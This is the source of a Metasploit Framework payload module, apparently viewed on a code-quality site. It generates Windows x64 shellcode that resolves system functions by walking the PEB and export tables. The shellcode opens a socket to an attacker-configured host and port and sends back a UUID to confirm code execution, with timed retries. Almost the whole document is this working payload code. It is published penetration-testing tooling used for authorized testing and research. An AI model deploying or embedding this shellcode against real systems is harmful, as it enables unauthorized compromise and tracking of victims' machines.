rapid7/metasploit-framework

View on GitHub
modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb

Summary

Maintainability
C
1 day
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule

  CachedSize = 425

  include Msf::Payload::Windows
  include Msf::Payload::Single
  include Msf::Payload::Pingback
  include Msf::Payload::Pingback::Options
  include Msf::Payload::Windows::BlockApi_x64
  include Msf::Payload::Windows::Exitfunk_x64

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows x64 Pingback, Reverse TCP Inline',
      'Description'   => 'Connect back to attacker and report UUID (Windows x64)',
      'Author'        => [ 'bwatters-r7' ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X64,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Session'       => Msf::Sessions::Pingback
    ))

    def required_space
      # Start with our cached default generated size
      space = cached_size

      # EXITFUNK 'seh' is the worst case, that adds 15 bytes
      space += 15

      space
    end

    def generate(_opts = {})
      # 22 -> "0x00,0x16"
      # 4444 -> "0x11,0x5c"
      encoded_port = [datastore['LPORT'].to_i, 2].pack("vn").unpack("N").first
      encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || "127.127.127.127").unpack("V").first
      encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
      retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
      pingback_count = datastore['PingbackRetries']
      pingback_sleep = datastore['PingbackSleep']
      self.pingback_uuid ||= self.generate_pingback_uuid
      uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
      conf = { exitfunk: datastore['EXITFUNC'] }


      asm = %Q^
        cld                     ; Clear the direction flag.
        and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned
        call start              ; Call start, this pushes the address of 'api_call' onto the stack.

        api_call:
          push r9                  ; Save the 4th parameter
          push r8                  ; Save the 3rd parameter
          push rdx                 ; Save the 2nd parameter
          push rcx                 ; Save the 1st parameter
          push rsi                 ; Save RSI
          xor rdx, rdx             ; Zero rdx
          mov rdx, [gs:rdx+96]     ; Get a pointer to the PEB
          mov rdx, [rdx+24]        ; Get PEB->Ldr
          mov rdx, [rdx+32]        ; Get the first module from the InMemoryOrder module list
        next_mod:                  ;
          mov rsi, [rdx+80]        ; Get pointer to modules name (unicode string)
          movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
          xor r9, r9               ; Clear r9 which will store the hash of the module name
        loop_modname:              ;
          xor rax, rax             ; Clear rax
          lodsb                    ; Read in the next byte of the name
          cmp al, 'a'              ; Some versions of Windows use lower case module names
          jl not_lowercase         ;
          sub al, 0x20             ; If so normalise to uppercase
        not_lowercase:             ;
          ror r9d, 13              ; Rotate right our hash value
          add r9d, eax             ; Add the next byte of the name
          loop loop_modname        ; Loop until we have read enough
          ; We now have the module hash computed
          push rdx                 ; Save the current position in the module list for later
          push r9                  ; Save the current module hash for later
          ; Proceed to iterate the export address table,
          mov rdx, [rdx+32]        ; Get this modules base address
          mov eax, dword [rdx+60]  ; Get PE header
          add rax, rdx             ; Add the modules base address
          cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
          ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
          ; their may be a PE32 module present in the PEB's module list, (typically the main module).
          ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
          jne get_next_mod1         ; if not, proceed to the next module
          mov eax, dword [rax+136] ; Get export tables RVA
          test rax, rax            ; Test if no export address table is present
          jz get_next_mod1         ; If no EAT present, process the next module
          add rax, rdx             ; Add the modules base address
          push rax                 ; Save the current modules EAT
          mov ecx, dword [rax+24]  ; Get the number of function names
          mov r8d, dword [rax+32]  ; Get the rva of the function names
          add r8, rdx              ; Add the modules base address
          ; Computing the module hash + function hash
        get_next_func:             ;
          jrcxz get_next_mod       ; When we reach the start of the EAT (we search backwards), process the next module
          dec rcx                  ; Decrement the function name counter
          mov esi, dword [r8+rcx*4]; Get rva of next module name
          add rsi, rdx             ; Add the modules base address
          xor r9, r9               ; Clear r9 which will store the hash of the function name
          ; And compare it to the one we want
        loop_funcname:             ;
          xor rax, rax             ; Clear rax
          lodsb                    ; Read in the next byte of the ASCII function name
          ror r9d, 13              ; Rotate right our hash value
          add r9d, eax             ; Add the next byte of the name
          cmp al, ah               ; Compare AL (the next byte from the name) to AH (null)
          jne loop_funcname        ; If we have not reached the null terminator, continue
          add r9, [rsp+8]          ; Add the current module hash to the function hash
          cmp r9d, r10d            ; Compare the hash to the one we are searchnig for
          jnz get_next_func        ; Go compute the next function hash if we have not found it
          ; If found, fix up stack, call the function and then value else compute the next one...
          pop rax                  ; Restore the current modules EAT
          mov r8d, dword [rax+36]  ; Get the ordinal table rva
          add r8, rdx              ; Add the modules base address
          mov cx, [r8+2*rcx]       ; Get the desired functions ordinal
          mov r8d, dword [rax+28]  ; Get the function addresses table rva
          add r8, rdx              ; Add the modules base address
          mov eax, dword [r8+4*rcx]; Get the desired functions RVA
          add rax, rdx             ; Add the modules base address to get the functions actual VA
          ; We now fix up the stack and perform the call to the drsired function...
        finish:
          pop r8                   ; Clear off the current modules hash
          pop r8                   ; Clear off the current position in the module list
          pop rsi                  ; Restore RSI
          pop rcx                  ; Restore the 1st parameter
          pop rdx                  ; Restore the 2nd parameter
          pop r8                   ; Restore the 3rd parameter
          pop r9                   ; Restore the 4th parameter
          pop r10                  ; pop off the return address
          sub rsp, 32              ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
                                   ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
          push r10                 ; push back the return address
          jmp rax                  ; Jump into the required function
          ; We now automagically return to the correct caller...
        get_next_mod:              ;
          pop rax                  ; Pop off the current (now the previous) modules EAT
        get_next_mod1:             ;
          pop r9                   ; Pop off the current (now the previous) modules hash
          pop rdx                  ; Restore our position in the module list
          mov rdx, [rdx]           ; Get the next module
          jmp next_mod             ; Process this module

        start:
          pop rbp               ; block API pointer

        reverse_tcp:
        ; setup the structures we need on the stack...
          mov r14, 'ws2_32'
          push r14                ; Push the bytes 'ws2_32',0,0 onto the stack.
          mov r14, rsp            ; save pointer to the "ws2_32" string for LoadLibraryA call.
          sub rsp, #{408 + 8}     ; alloc sizeof( struct WSAData ) bytes for the WSAData
                                  ; structure (+8 for alignment)
          mov r13, rsp            ; save pointer to the WSAData structure for WSAStartup call.
          mov r12, #{encoded_host_port}
          push r12                ; host, family AF_INET and port
          mov r12, rsp            ; save pointer to sockaddr struct for connect call

        ; perform the call to LoadLibraryA...
          mov rcx, r14            ; set the param for the library to load
          mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
          call rbp                ; LoadLibraryA( "ws2_32" )

        ; perform the call to WSAStartup...
          mov rdx, r13            ; second param is a pointer to this struct
          push 0x0101             ;
          pop rcx                 ; set the param for the version requested
          mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
          call rbp                ; WSAStartup( 0x0101, &WSAData );

        ; stick the retry count on the stack and store it
          push #{retry_count}     ; retry counter
          pop r14
          push #{pingback_count}
          pop r15

        create_socket:
        ; perform the call to WSASocketA...
          push rax                ; if we succeed, rax will be zero, push zero for the flags param.
          push rax                ; push null for reserved parameter
          xor r9, r9              ; we do not specify a WSAPROTOCOL_INFO structure
          xor r8, r8              ; we do not specify a protocol
          inc rax                 ;
          mov rdx, rax            ; push SOCK_STREAM
          inc rax                 ;
          mov rcx, rax            ; push AF_INET
          mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
          call rbp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
          mov rdi, rax            ; save the socket for later

        try_connect:
        ; perform the call to connect...
          push 16                 ; length of the sockaddr struct
          pop r8                  ; pop off the third param
          mov rdx, r12            ; set second param to pointer to sockaddr struct
          mov rcx, rdi            ; the socket
          mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
          call rbp                ; connect( s, &sockaddr, 16 );

          test eax, eax           ; non-zero means failure
          jz connected

        handle_connect_failure:
          dec r14                 ; decrement the retry count
          jnz try_connect
          dec r15
          jmp close_socket

        failure:
          call exitfunk

        ; this label is required so that reconnect attempts include
        ; the UUID stuff if required.
        connected:

        send_pingback:
          xor r9, r9              ; flags
          push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
          pop r8
          call get_pingback_address  ; put uuid buffer on the stack
          db #{uuid_as_db}  ; PINGBACK_UUID

        get_pingback_address:
          pop rdx                ; PINGBACK UUID address
          mov rcx, rdi           ; Socket handle
          mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
          call rbp               ; call send

        close_socket:
          mov rcx, rdi           ; Socket handle
          mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
          call rbp               ; call closesocket
        ^
      if pingback_count > 0
        asm << %Q^
          sleep:
            test r15, r15         ; check pingback retry counter
            jz exitfunk           ; bail if we are at 0
            dec r15               ;decrement the pingback retry counter
            push #{(pingback_sleep * 1000)}            ; 10 seconds
            pop rcx               ; set the sleep function parameter
            mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
            call rbp              ; Sleep()
            jmp create_socket     ; repeat callback
        ^
      end
      if conf[:exitfunk]
        asm << asm_exitfunk(conf)
      end
      Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
    end
  end
end